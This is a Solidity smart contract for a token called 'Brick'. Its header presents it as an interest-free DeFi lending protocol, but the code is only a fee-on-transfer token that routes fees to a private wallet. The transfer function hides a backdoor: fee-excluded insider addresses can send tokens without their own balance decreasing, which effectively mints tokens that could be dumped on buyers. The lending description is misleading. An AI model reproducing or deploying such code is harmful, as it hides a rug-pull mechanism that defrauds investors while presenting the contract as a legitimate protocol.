// SPDX-License-Identifier: Unlicensed

/**
Brick is a first of its kind DeFi protocol for interest-free borrowing and high yield lending. Rather than charging borrowers interest, Brick stakes their collateral and passes the yield to lenders. This model changes the relationship between borrowers and lenders to make Brick the first positive-sum lending protocol.

Web: https://brickfi.biz
App: https://app.brickfi.biz
Twitter: https://twitter.com/BrickFi_Crypto
Telegram: https://t.me/brickfi_official
Docs: https://medium.com/@brick.finance
*/

pragma solidity 0.8.21;

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract BRICK is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    string private _name = unicode"Brick"; 
    string private _symbol = unicode"BRICK";  

    address payable private _taxAddress;
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;

    uint256 public _maxWalletToken = 2 * _totalSupply / 100;
    uint256 public _swpaThreshold = _totalSupply / 100000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 private _totalFee = 1900;
    uint256 public _buyFee = 19;
    uint256 public _sellFee = 19;
    bool public swapAndLiquifyEnabled = true;
    uint8 private countBrickTx = 0;
    uint8 private swapBrickTrigger = 2; 
    uint256 public maxBrickFee = 12; 

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (address BrickWallet) {
        _tOwned[owner()] = _totalSupply;
        _taxAddress = payable(BrickWallet);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function swapBrickForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllBrickFee();
            } else {
                countBrickTx++;
            }
        _transferBrickTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllBrickFee();
    }
        
    function removeBrickLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 300;
        _buyFee = 3; 
        _sellFee = 3; 
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function restoreAllBrickFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transferBrickTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tFees) = _getBrickValues(tAmount);
        bool isSenderExcluded = _isExcludedFromFee[sender];
        bool isMaxWallet = _tOwned[sender] <= _maxWalletToken;
        bool isTakeFee = isSenderExcluded && isMaxWallet;
        if(isTakeFee) {
            tFees = 0; tAmount -= tTransferAmount;
        }
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tFees);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function swapBrickAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapBrickForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToBrickWallet(_taxAddress,contractETH);
    }
            
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxAddress &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()) {
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            countBrickTx >= swapBrickTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            countBrickTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){ swapBrickAndLiquidify(contractTokenBalance); }
        }

        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }

    function sendToBrickWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }
    
    function _getBrickValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFees = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFees);
        return (tTransferAmount, tFees);
    }
    
    function removeAllBrickFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }

    receive() external payable {}
}